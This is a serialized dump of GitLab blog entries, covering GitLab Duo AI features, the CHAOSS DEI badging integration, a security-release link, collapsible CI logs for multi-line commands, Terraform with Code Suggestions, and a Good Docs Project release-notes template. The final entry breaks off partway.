just one capability of [GitLab Duo](https://about.gitlab.com/gitlab-duo/), which is a full suite of [15 AI-assisted features](https://docs.gitlab.com/ee/user/ai_features.html) that go beyond code generation, catering to every stage of software development — from code generation and testing to security analysis and documentation. [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) is the foundational technology that connects users with our broader set of AI-powered GitLab Duo features. With Chat, users have a personal AI assistant that helps them answer questions, understand code, and even generate tests — all within the same IDE where development work happens. Together, these capabilities form a cohesive ecosystem. \n\nThese features are critical because they’ll help prevent bottlenecks from forming downstream as developers, who are getting a productivity boost from Code Suggestions, create more code faster. GitLab Duo offers targeted solutions, like Vulnerability Explanation and Merge Request Summary, to improve software quality and keep workflows moving.\n\nImportantly, GitLab prioritizes privacy and transparency in its AI approach. Customer code is not used for training, ensuring organizations have complete data ownership and control.\n\n> Live demo! Discover the future of AI-driven software development at our GitLab 17 virtual launch event. [Register today](https://about.gitlab.com/seventeen/)!\n",[790,479,695],{"slug":7136,"featured":92,"template":678},"ai-powered-growth-transform-every-stage-of-software-delivery","content:en-us:blog:ai-powered-growth-transform-every-stage-of-software-delivery.yml","Ai Powered Growth Transform Every Stage Of Software Delivery","en-us/blog/ai-powered-growth-transform-every-stage-of-software-delivery.yml","en-us/blog/ai-powered-growth-transform-every-stage-of-software-delivery",{"_path":7142,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7143,"content":7149,"config":7153,"_id":7155,"_type":16,"title":7156,"_source":17,"_file":7157,"_stem":7158,"_extension":20},"/en-us/blog/building-a-more-inclusive-and-welcoming-open-source-community-on-gitlab",{"title":7144,"description":7145,"ogTitle":7144,"ogDescription":7145,"noIndex":6,"ogImage":7146,"ogUrl":7147,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7147,"schema":7148},"Building a more inclusive and welcoming open source community on GitLab","Open source projects using GitLab can now easily apply for CHAOSS DEI badges.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683305/Blog/Hero%20Images/AdobeStock_449040869.jpg","https://about.gitlab.com/blog/building-a-more-inclusive-and-welcoming-open-source-community-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building a more inclusive and welcoming open source community on GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2024-01-29\",\n      }",{"title":7144,"description":7145,"authors":7150,"heroImage":7146,"date":7132,"body":7151,"category":736,"tags":7152},[1761],"At GitLab, our mission is to create a world where everyone can contribute. To keep building that world, we want to equip open source projects using GitLab with tools to foster more inclusive and welcoming communities.\nToday we're announcing one of those tools.\n\nWe're excited to share that GitLab has partnered with the Community Health Analytics in Open Source Software ([CHAOSS](https://chaoss.community/)) project to integrate GitLab with their [recently released DEI Project Badging program](https://go.gitlab.com/JKwGOR). The DEI Project Badging program enables open source projects to:\n- Clearly signal their focus on building diverse communities\n- More easily highlight the work they are doing to welcome and support new members\n- Add visual badges to their projects to indicate their community's reflection on the CHAOSS DEI badging metrics\n\nGitLab is already [badged](https://go.gitlab.com/QFJutN). Many of our open source partners are joining us (see below). Now your project can be badged, too. Everything you need to start using this new integration is on the [CHAOSS Project Badging](https://go.gitlab.com/qEcu1s) site.\n\nRead on to learn how this initiative came together — and how you can get involved.\n\n## Productive CHAOSS\nFinding an open source community to learn, connect, and grow with isn't always easy. In fact, [a Linux Foundation report on diversity, equity, and inclusion](https://www.linuxfoundation.org/research/the-2021-linux-foundation-report-on-diversity-equity-and-inclusion-in-open-source) (DEI) in open source communities highlighted just how difficult it can be for certain contributors.\nOpen source contributors from underrepresented groups were more likely to feel unwelcome and experience exclusionary practices. The report noted barriers to representation in leadership and language blockers around reading and writing in the English language. Here are some findings from the report:\n- 36% of respondents reported experiencing some form of stereotyping behavior based on perceived demographic characteristics. \n- 30% of respondents were unsure a code of conduct would be enforced. \n- 22% of respondents disagreed that equal opportunity exists for people with different backgrounds to be part of the decision-making process.\n\nThese numbers are concerning. But to anyone familiar with the struggles of diversity, equity, and inclusion in open source, they're likely not surprising, either.\n\nTo better align on best practices for building inclusive open source communities, and to ensure that [GitLab's company DEI value](https://handbook.gitlab.com/handbook/company/culture/inclusion/) is reflected in our contributor community, GitLab partnered with an authoritative source: the [CHAOSS DEI working group](https://chaoss.community/diversity-and-inclusion-badging/). Founded in 2017, the [CHAOSS community](https://chaoss.community/) is a Linux Foundation project that defines open source community health metrics.\n\nThe group builds tools that everyone working in open source — maintainers, developers, and community managers alike — can use to spot trends in their open source projects. Ultimately, CHAOSS wants to enable everyone to create healthier and more sustainable open source communities.\n\nThe CHAOSS DEI working group asked us to reflect on their open source [inclusivity metrics](https://github.com/badging/ProjectBadging/blob/main/Template.DEI.md) and showcase what we were doing at GitLab to build a more inclusive open source ecosystem. They also invited us to contribute to one of their most ambitious projects: a system of badges that open source communities can use to clearly signal their dedication to making that ecosystem a more supportive place.\n\n### How the DEI Project Badging system works\nIt works like this.\n\nOpen source projects compose DEI Project Statements and place those statements prominently in their codebases (as a file named DEI.md). Writing the statement involves taking a real, hard look at what DEI means for a project's unique community — not just signing off on a shared, generalized statement. By publicly sharing these statements, the entire open source ecosystem learns and grows collectively.\n\nCHAOSS offers an automated tool for scanning a project repository for the presence of the DEI.md file, then returns its contents to CHAOSS for review. If the project meets the CHAOSS project's criteria for diversity, equity, and inclusion, CHAOSS awards that project a badge, signifying its status as an inclusive project.\n\n\"CHAOSS spends a lot of time thinking about open source community health, so we are thrilled to be able to help open source projects better communicate and surface their efforts to build more inclusive communities,\" says Elizabeth Barron, a community manager for CHAOSS. \"We are hopeful that advocating for a more consistent way to do so (via a DEI.md file) will offer a better way for a project to share their approach with other projects, in true open source fashion.\"\n\nWe liked what we saw. And we knew we could pitch in — not just by writing and certifying our own [DEI Project Statement](https://go.gitlab.com/QFJutN), but by integrating the CHAOSS project's tool with GitLab so other communities could, too.\n\n## GitLab contributes\nSo we got to work. We examined practices from teams across GitLab, including Developer Relations, Contributor Success, GitLab UX, the Product Accessibility working group, and the Diversity, Inclusion and Belonging team. To help draft an initial Bronze tier for the DEI Badging program, we shared example practices from GitLab, including:\n- GitLab's project maintainers and merge request coaches span global timezones and work asynchronously with contributors across the world.\n- GitLab operates the GitLab Unfiltered YouTube channel that shares all publicly available meetings, recordings, and community pairing sessions.\n- GitLab uses weekly triage reports on first-time contributors who are awaiting a response to a merge request. This ensures newcomers always hear back from a real person about their merge request.\n\nIn partnership with CHAOSS, we'll continue to build more tiers into the program. This will help motivate projects to continue their DEI efforts and reflect on more CHAOSS DEI metrics.\n\nAnd we've made it easier for open source projects on GitLab to get badged, too, by collaborating with CHAOSS to directly integrate GitLab with the badging application process. The CHAOSS badging website features a \"Login with GitLab\" button, which provides project owners a single-click connection between their GitLab projects and CHAOSS. \n\nFor communities using GitLab to build open source software, this makes submitting a project and scanning it for a DEI.md file fast and easy. For self-hosted GitLab projects, applicants can submit a form on the CHAOSS badging website to get a review.\n\nTo help sustain this initiative, GitLab is sponsoring the CHAOSS Africa chapter, the team behind development of the DEI Project Badging system. Since its inception in 2022, CHAOSS Africa has seen impressive growth while solving the challenges of open source communities in Africa and helping newcomers become open source contributors.\u2028 We're eager to see what they continue building together with their communities.\n\n## With help from our friends\nWe're not acting alone. Building a more diverse, equitable, and inclusive open source ecosystem requires collective commitment. In that spirit, several of our [open source partners](https://about.gitlab.com/solutions/open-source/partners/) are announcing their support of the badging integration.\n\nHere's what they had to say:\n\n\"The [Drupal Association](https://www.drupal.org/) is proud to be reinforcing our longstanding commitment to diversity, equity, inclusion, and justice by partnering with CHAOSS and GitLab right at the launch of this initiative. Drupal is recognized as a Digital Public Good by the United Nations-endorsed Digital Public Goods Alliance, and we feel the responsibility of building a better, more open internet that recognizes, elevates, and serves historically underrepresented communities. We're hopeful that this effort is part of a sea change in open source communities, and software development in general, to better recognize, evaluate, and redress DEI challenges that we have a collective responsibility to solve. We believe this metric-driven approach will help projects reinforce each other's good behavior, and inspire the industry as a whole. We're looking forward to cataloging our DEI commitments according to this new process, to share and compare with the wider ecosystem.\" **— [Tim Lehnen](https://gitlab.com/hestenet-drupal), CTO, Drupal Association**\n\n\"[The Good Docs Project](https://thegooddocsproject.dev/) is excited to join with CHAOSS and GitLab to promote the values of diversity, equity, and inclusion in open source. We want to empower our community members to do their best work and be their authentic selves. By participating in this initiative, we hope to think deeply about how we can promote greater diversity, equity, and inclusion in our project and then develop concrete policies and actions to support those goals. We pledge to develop our policies and earn our DEI badge from CHAOSS within the next few months.\" **— [Alyssa Rock](https://gitlab.com/barbaricyawps), Community Manager, The Good Docs Project**\n\n\"The integration of CHAOSS project's diversity, equity, and inclusion (DEI) initiative with GitLab is an important milestone for building more inclusive open source software, one that resonates on all levels with our [Colmena Project](https://blog.colmena.media/). The initiative creates the necessary visibility for many inclusive open source projects, not only paves the way for an ecosystem-focused approach to software development in general, but also encourages greater cooperation at a peer-to-peer level. It enables community members to recognize the vast diversity of contexts involved in the work of software development, and to inspire each other. This is important to the Colmena project, which is focused on supporting community and local media that makes visible the reality of indigenous peoples, women, youth, and different identities that are not part of the agenda of mainstream media. Participating in this initiative gives us the opportunity to better recognize DEI challenges and constantly reflect on our work to readjust and improve our efforts. We commit to continuing the dialogue with our community on these issues, documenting our efforts transparently and making necessary readjustments to policies and procedures.\" **— [Nils Brock](https://gitlab.com/nilsbrock), Program Director, Colmena**\n\n\"The [Kali Linux](https://www.kali.org/) team is very proud to have been invited to take part in this initiative, and we are looking forward to what it means for the open source community. We are committed to being as inclusive as possible and hope to demonstrate that through our efforts. For more information on what we are planning on doing to support it, please read our [DEI Promise](https://www.kali.org/blog/dei-promise/).\" **— [Joe O'Gorman](https://gitlab.com/Gamb1t), Community Manager, Kali Linux**\n\n## Let's build together\nThe work is far from over.\n\n\"We are committed to diversifying open source communities on GitLab. It's a critical part of our strategy for Diversity, Equity, and Inclusion, at GitLab in 2024 and beyond,\" says Sherida McMullan, Vice President of Diversity Inclusion & Belonging at GitLab. \"This DEI Project Badging program launched in partnership with CHAOSS helps us to make great strides in fostering an inclusive open source space and highlighting inclusive projects. As we enter Black History month, this is just the beginning of the impact we are looking to make in GitLab's open source communities.\"\n\nWe invite every member of the GitLab community to join us in making the open source community on GitLab a more diverse, more equitable, and more inclusive place to build the future together. Get started today by certifying your project, contributing to GitLab, and helping us create a world where everyone can contribute.",[736,479,943],{"slug":7154,"featured":6,"template":678},"building-a-more-inclusive-and-welcoming-open-source-community-on-gitlab","content:en-us:blog:building-a-more-inclusive-and-welcoming-open-source-community-on-gitlab.yml","Building A More Inclusive And Welcoming Open Source Community On Gitlab","en-us/blog/building-a-more-inclusive-and-welcoming-open-source-community-on-gitlab.yml","en-us/blog/building-a-more-inclusive-and-welcoming-open-source-community-on-gitlab",{"_path":7160,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7161,"content":7167,"config":7172,"_id":7175,"_type":16,"title":7176,"_source":17,"_file":7177,"_stem":7178,"_extension":20},"/en-us/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8",{"title":7162,"description":7163,"ogTitle":7162,"ogDescription":7163,"config":7164,"ogImage":3431,"ogUrl":7165,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7165,"schema":7166},"GitLab Critical Security Release: 16.8.1, 16.7.4, 16.6.6, 16.5.8","Learn more about GitLab Critical Security Release: 16.8.1, 16.7.4, 16.6.6, 16.5.8 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Security Release: 16.8.1, 16.7.4, 16.6.6, 16.5.8\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-01-25\",\n      }",{"title":7162,"description":7163,"authors":7168,"heroImage":3431,"date":7169,"body":7170,"category":674,"tags":7171},[866],"2024-01-25","Security release can be found here: https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/",[1464,674],{"slug":7173,"featured":6,"template":678,"externalUrl":7174},"gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8","https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/","content:en-us:blog:gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8.yml","Gitlab Critical Security Release 16 8 1 16 7 4 16 6 6 16 5 8","en-us/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8.yml","en-us/blog/gitlab-critical-security-release-16-8-1-16-7-4-16-6-6-16-5-8",{"_path":7180,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7181,"content":7187,"config":7192,"_id":7194,"_type":16,"title":7195,"_source":17,"_file":7196,"_stem":7197,"_extension":20},"/en-us/blog/inside-the-improved-ci-logs-management-experience-for-multi-line-commands",{"title":7182,"description":7183,"ogTitle":7182,"ogDescription":7183,"noIndex":6,"ogImage":7184,"ogUrl":7185,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7185,"schema":7186},"Inside the improved CI logs management experience for multi-line commands","Reviewing log output for CI/CD jobs with multi-line commands is now easier than ever. Find out why, how to configure your pipelines, and what's ahead.\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099499/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_639935439_3oqldo5Yt5wPonEJYZOLTM_1750099498739.jpg","https://about.gitlab.com/blog/inside-the-improved-ci-logs-management-experience-for-multi-line-commands","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside the improved CI logs management experience for multi-line commands\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Romuald Atchadé\"}],\n        \"datePublished\": \"2024-01-25\",\n      }",{"title":7182,"description":7183,"authors":7188,"heroImage":7184,"date":7169,"body":7190,"category":734,"tags":7191},[7189],"Romuald Atchadé","Improving the GitLab CI/CD log experience for jobs with multi-line commands has been a long-requested feature. With the latest release of GitLab and GitLab Runner, it's now easier to work with the log section for jobs with multi-line commands. In this post, we will describe the experience with the new feature, show you how to enable the new log output in your pipelines, and discuss key points regarding CI/CD script execution and log output in various shells, such as Bash and Powershell.\n\n## Overview of multi-line commands\n\nFirst, it’s helpful to describe what we mean by a CI job with multi-line commands. In GitLab CI the script keyword is used to specify commands to execute for a CI job. In the example below, the build-job has a single command, a basic echo statement, to execute in the script block. \n\n```\n## A pipeline with a single line command in the script block for the build-job\n\nbuild-job:\n  stage: build\n  script:\n    - echo \"this is the script to run for the build job\"\n\n```\n\nIf you were to run this pipeline, then the log output in the UI would display as follows:\nLine 17 - GitLab CI automatically generates a log entry for the command that you specify in the script block.\nLine 18 - This is the output of the command that was executed.\n\n![Ci log management - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099524/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099524655.png)\n\nNow as you can imagine, the script that you define in the script block will likely be more complex than the example provided and could very well span multiple lines in the CI/CD pipeline file. \n\n```\n## A pipeline with a multi-line command in the script block for the build-job\n\nbuild-job:\n  stage: build\n  script:\n       - |\n         echo \"this is a multi-line command\"  # a simple echo statement\n         ls  \n\n```\n\nIf you were to run this pipeline, then the log output in the UI would display as follows:\n\nLine 17 - As in the previous example, GitLab CI automatically generates a log entry for the command that you specify in the script block. You will notice that line 17 only includes the first command in the script block. This makes it more difficult to debug an issue with script execution as you will need to refer back to the source pipeline file to see exactly what script was executed.\n\n![CI log management - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099525/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099524656.png)\n\n## So what’s new?\n\nStarting in GitLab 16.7 and GitLab Runner 16.7, you can now enable a feature flag titled FF_SCRIPT_SECTIONS, which will add a collapsible output section to the CI job log for multi-line command script blocks. This feature flag changes the log output for CI jobs that execute within the Bash shell.\n\n![CI log management - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099525/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099524658.png)\n\nLine 17: Unlike the previous examples, the first thing you will notice in the screenshot above is that by default the log entry for the multi-line command is collapsed by default.\n\nSingle-line commands do not display in a collapsible element.\n\nFor multi-line scripts the multi-line command is now a collapsible element, so now, when you uncollapse the log entry for line 17, then the log will display all of the commands that were executed in the script block.\n\n![CI log management - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099525/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099524659.png)\n\nThere is also the [`custom collapsible section`](https://docs.gitlab.com/ee/ci/jobs/#custom-collapsible-sections) feature, which in combination with this new multi-command output capability does provide you additional flexibility for displaying log output in the UI. Here is how you can use the two features to change the log output. \n\n```\n## A pipeline with a multi-line command in the script block for the build-job\n\nvariables:\n  FF_PRINT_POD_EVENTS: \"true\"\n  FF_USE_POWERSHELL_PATH_RESOLVER: \"true\"\n  FF_SCRIPT_SECTIONS: \"true\"\n\ncollapsible_job_multiple:\n  stage: build\n  script:\n    - |\n      echo \"{\n        'test': 'data',\n        'test2': 'data2',\n      }\"\n    - |\n      echo \"{\n        'test': 'data',\n        'test2': 'data2',\n      }\"\n    - echo -e \"\\033[0Ksection_start:`date +%s`:my_first_section\\r\\033[0KHeader of the 1st collapsible section\"\n    - echo 'this line should be hidden when collapsed'\n    - |\n      echo \"{\n        'test': 'data',\n        'test2': 'data2',\n      }\"\n    - echo -e \"\\033[0Ksection_start:`date +%s`:second_section\\r\\033[0KHeader of the 2nd collapsible section\"\n    - echo 'this line should be hidden when collapsed'\n    - echo -e \"\\033[0Ksection_end:`date +%s`:second_section\\r\\033[0K\"\n    - echo -e \"\\033[0Ksection_end:`date +%s`:my_first_section\\r\\033[0K\"\n\n```\n\nIf you were to run this pipeline with the FF_SCRIPT_SECTIONS feature flag set to false, then the log output would be as depicted in the following screenshot.\n\n![CI log management - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099524/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099524661.png)\n\nBut, if you were to run this pipeline with the FF_SCRIPT_SECTIONS feature flag set to true, then the log output would be as depicted in the following screenshot.\n\n![CI log management - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099525/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099524663.png)\n\n## What about other shells?\n\nAs of the 16.7 release, the collapsible output section in the CI job log for multi-line command script blocks is only visible for CI/CD jobs that are executed with the Bash shell. CI/CD jobs executed with Powershell is not currently supported. We plan to add this [capability](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/4494) in a future release. \n\n## What are our future plans?\n\nA few features are still needed to improve the CI/CD job log output, and the `timestamp` for each log line is one of them. This addition will add missing features such as command/section duration.\n\n> To learn more about GitLab CI/CD features, refer to the official [CI/CD documentation](https://docs.gitlab.com/ee/ci/index.html). \n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[1384,1385,110,696],{"slug":7193,"featured":92,"template":678},"inside-the-improved-ci-logs-management-experience-for-multi-line-commands","content:en-us:blog:inside-the-improved-ci-logs-management-experience-for-multi-line-commands.yml","Inside The Improved Ci Logs Management Experience For Multi Line Commands","en-us/blog/inside-the-improved-ci-logs-management-experience-for-multi-line-commands.yml","en-us/blog/inside-the-improved-ci-logs-management-experience-for-multi-line-commands",{"_path":7199,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7200,"content":7206,"config":7211,"_id":7213,"_type":16,"title":7214,"_source":17,"_file":7215,"_stem":7216,"_extension":20},"/en-us/blog/write-terraform-plans-faster-with-gitlab-duo-code-suggestions",{"title":7201,"description":7202,"ogTitle":7201,"ogDescription":7202,"noIndex":6,"ogImage":7203,"ogUrl":7204,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7204,"schema":7205},"Write Terraform plans faster with GitLab Duo Code Suggestions","Follow this tutorial to learn how to use AI-powered code creation to manage your infrastructure with Terraform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679194/Blog/Hero%20Images/duo-blog-post.png","https://about.gitlab.com/blog/write-terraform-plans-faster-with-gitlab-duo-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Write Terraform plans faster with GitLab Duo Code Suggestions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2024-01-24\",\n      }",{"title":7201,"description":7202,"authors":7207,"heroImage":7203,"date":7208,"body":7209,"category":791,"tags":7210},[2816],"2024-01-24","[Terraform](https://www.terraform.io/) is an industry-standard for infrastructure orchestration. It can, however, be daunting and time-consuming to learn how to create infrastructure resources, especially when using Terraform providers you are unfamiliar with. That is where GitLab Duo Code Suggestions and AI-powered code creation comes in.\n\n[GitLab Duo Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/) accelerates your coding in up to [15 supported programming languages](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/index.html#supported-languages-in-ides), including infrastructure as code (IaC) using Terraform.\n\nBy combining IaC with Terraform, infrastructure teams can adopt new Terraform providers/modules quickly and move changes to production faster. The combination also reduces the onboarding time for new users of Terraform or developers who are new to a code base by maintaining the context of the code base and dependencies in its suggestions. Instead of spending hours reading through documentation, you only need to review the given suggestions and update as necessary.\n\nIn this post, you will learn how to set up GitLab Duo Code Suggestions for Terraform.\n\n## How to set up GitLab Duo Code Suggestions for Terraform\n\nFollow these 6 steps to get started:\n\n1. Install the GitLab extension for your IDE of choice (read about [supported IDE extensions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/index.html#supported-editor-extensions).\n2. Authenticate the GitLab extension with GitLab.com or your GitLab self-hosted instance.\n3. Enable Code Suggestions in your Profile settings under the Preferences > Preferences menu. Search for Code Suggestions, toggle the checkbox, and click Save.\n4. Confirm that Code Suggestions is also enabled in your GitLab extensions settings in the IDE.\n5. If you are using Visual Studio Code and Neovim, third-party extension support is needed to use Terraform with Code Suggestions. For VS Code, you can install the [official Terraform extension](https://marketplace.visualstudio.com/items?itemName=HashiCorp.terraform) from HashiCorp.\n6. To test and apply your Terraform plans, [install Terraform](https://developer.hashicorp.com/terraform/install?product_intent=terraform) in your terminal and any necessary provider SDKs.\n\n## Creating your plans\n\nOnce you have all the prerequisites in place, all you need to do next is create a Terraform file ending with `.tf` and prompt GitLab Duo with comments describing what you want. Suggestions will be displayed while maintaining context. Even when no prompt is provided, GitLab Duo will suggest other Terraform resources you might be interested in based on the current context in your plans.\n\nLet's see this in action with GitLab Duo helping with a Terraform plan for provisioning a load balancer with four instances and other necessary resources on the Google Cloud Platform.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/saa2JJ57UaQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Get started with Code Suggestions and Terraform today\n\n[Try Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/) today and accelerate your software development. Code Suggestions is also available for [self-managed GitLab](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/self_managed.html) (needs to be enabled by an administrator). Code Suggestions uses best-in-class large language models, and non-public customer data is never used as training data.",[479,790,696],{"slug":7212,"featured":92,"template":678},"write-terraform-plans-faster-with-gitlab-duo-code-suggestions","content:en-us:blog:write-terraform-plans-faster-with-gitlab-duo-code-suggestions.yml","Write Terraform Plans Faster With Gitlab Duo Code Suggestions","en-us/blog/write-terraform-plans-faster-with-gitlab-duo-code-suggestions.yml","en-us/blog/write-terraform-plans-faster-with-gitlab-duo-code-suggestions",{"_path":7218,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7219,"content":7225,"config":7231,"_id":7233,"_type":16,"title":7234,"_source":17,"_file":7235,"_stem":7236,"_extension":20},"/en-us/blog/pair-gitlab-and-the-good-docs-project-template-to-improve-release-notes",{"title":7220,"description":7221,"ogTitle":7220,"ogDescription":7221,"noIndex":6,"ogImage":7222,"ogUrl":7223,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7223,"schema":7224},"Pair GitLab and The Good Docs Project template to improve release notes","Creating compelling, detailed, human-readable notes for software releases is important. Using GitLab and this template from The Good Docs Project makes it easier.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099541/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_432673748_5xWPNsktdz2QChWhl16jGq_1750099540656.jpg","https://about.gitlab.com/blog/pair-gitlab-and-the-good-docs-project-template-to-improve-release-notes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pair GitLab and The Good Docs Project template to improve release notes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aaron Peters, Member, Good Docs Project\"}],\n        \"datePublished\": \"2024-01-23\",\n      }",{"title":7220,"description":7221,"authors":7226,"heroImage":7222,"date":7228,"body":7229,"category":813,"tags":7230},[7227],"Aaron Peters, Member, Good Docs Project","2024-01-23","Release notes allow software users to quickly understand the changes that come with the latest version of software. They also allow software publishers to highlight changes as important, or provide crucial information about the impact an upgrade may have. Some tools allow developers to \"generate\" release notes based on sources of data (such as completed items in DevOps systems), but notes produced this way tend to simply list changes without context. Writing release notes, however, provides teams with the opportunity to \"tell the story\" of the changes the new software version will bring.\n\nThough this process certainly requires a greater investment of time than publishing a basic changelog does, your users will certainly appreciate the results: release notes that explain the key elements of the release (such as new features, improvements, and known issues) in a well-organized, human-readable way.\n\n[The Good Docs Project's](https://thegooddocsproject.dev/welcome/) release notes template is designed to help you do exactly that. And the combination of GitLab's work management platform and our own [Release Notes template](https://gitlab.com/tgdp/templates/-/tree/main/release-notes?ref_type=heads) makes the job of putting out good, informative release notes easier.\n\n## The anatomy of quality release notes\n\nRelease notes that provide readers with a good picture of the version's changes require two primary inputs:\n\n- **A list of the changes included in the release**\n  At The Good Docs Project, all the management of the work of our contributors occurs in GitLab. So it's easy to refer to our release plans to identify which additions and improvements were completed and included in the release.\n- **A description of those changes including reasoning, importance, and impact**\n  This is where our project's Release Notes template can assist. Rather than staring at a blank page, wondering where to start, users can begin to fill in our template step-by-step, adjusting to taste.\n\nWe'll walk through each of these steps in the following sections as they occurred when creating the release notes to [our recent Dragon release](https://gitlab.com/tgdp/templates/-/releases/v1.1.0).\n\n## Gathering a release's changes\n\nAt The Good Docs Project, we use GitLab features — including setting milestones, creating/assigning issues, and tagging releases — to get our work out into the community (our prior blog post here at GitLab describes this process). The platform allows our worldwide contributor base to easily discover new things to work on and update everyone on their progress once they select something. When the time comes to package a release, it brings the added benefit of a tidy list of issues included in the project at the time of release.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176084/Blog/hxo08y06apkumwuwm80c.png\" alt=\"The Milestone screen in GitLab provides an easy-to-scan list of work included in the release\" width=\"100%\" height=\"auto\">\n\nWhen creating the release notes for our project's Dragon milestone, we reviewed all the items included in the **Closed** column on the Milestone screen. This allowed us to pick the most important changes to highlight, while leaving out issues that wouldn't significantly impact a user's experience.\n\n## Crafting the release notes\n\nEquipped with a list of all the key updates in the release, we start writing the release notes. Our project's [Release Notes template](https://gitlab.com/tgdp/templates/-/blob/main/release-notes/template-release-notes.md?ref_type=heads) provides a ready-made Markdown skeleton comprised of key sections based on our contributors' research and experience. The accompanying [usage guide](https://gitlab.com/tgdp/templates/-/blob/main/release-notes/guide-release-notes.md?ref_type=heads) and [example of the template in action](https://gitlab.com/tgdp/templates/-/blob/main/release-notes/example-release-notes.md?ref_type=heads) provides additional tips and suggestions for writing effective release notes. The latter references our **Chronologue** project, a fictional telescope and application that can see through time, which is naturally well-documented.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176091/Blog/jcpfxjqb5jpidssm3jlr.png\" alt=\"The Release Notes template comes ready to populate with 'the story' of your latest release\" width=\"100%\" height=\"auto\">\n\nOf course, our template is simply a starting point. Teams should always feel free to add sections where they make sense, remove them where they don't, and make the style of it their own. For example, we left out the **Bug fixes** and **Known issues** sections in our latest Dragon release notes, instead focusing on the new additions and improvements this release brought.\n\n## Adding release notes to the release\n\nGitLab's build tools also make it easy to add our notes while actually creating the release. First, we tagged one of our project's commits, then created a release from the tag. On GitLab's **Releases > New** screen, we can copy and paste the Markdown we wrote to automatically format the release notes.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176096/Blog/otwduhvokgnqclon4ugx.png\" alt=\"Our templates are already in Markdown format, so when it's time to paste them into the release it works automagically!\" width=\"100%\" height=\"auto\">\n\nAnd just like that our release notes are done. With the assistance of the template, they required just an hour to write. And after an additional half-hour of work creating the release, we're ready to send our work out to the community. Our experience using the combination of GitLab and our templates has made the process of shipping our templates a piece of cake.\n\nIf you'd like to check out our templates, feel free to browse [our GitLab project](https://gitlab.com/tgdp).\nOr visit our [community page](https://thegooddocsproject.dev/community/) to learn how to join us in leveling up the state of technical documentation.\n\n*The [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) are building the future of open source on GitLab. [Connect with them](https://gitlab.com/gitlab-com/marketing/developer-relations/open-source-program/gitlab-open-source-partners) on 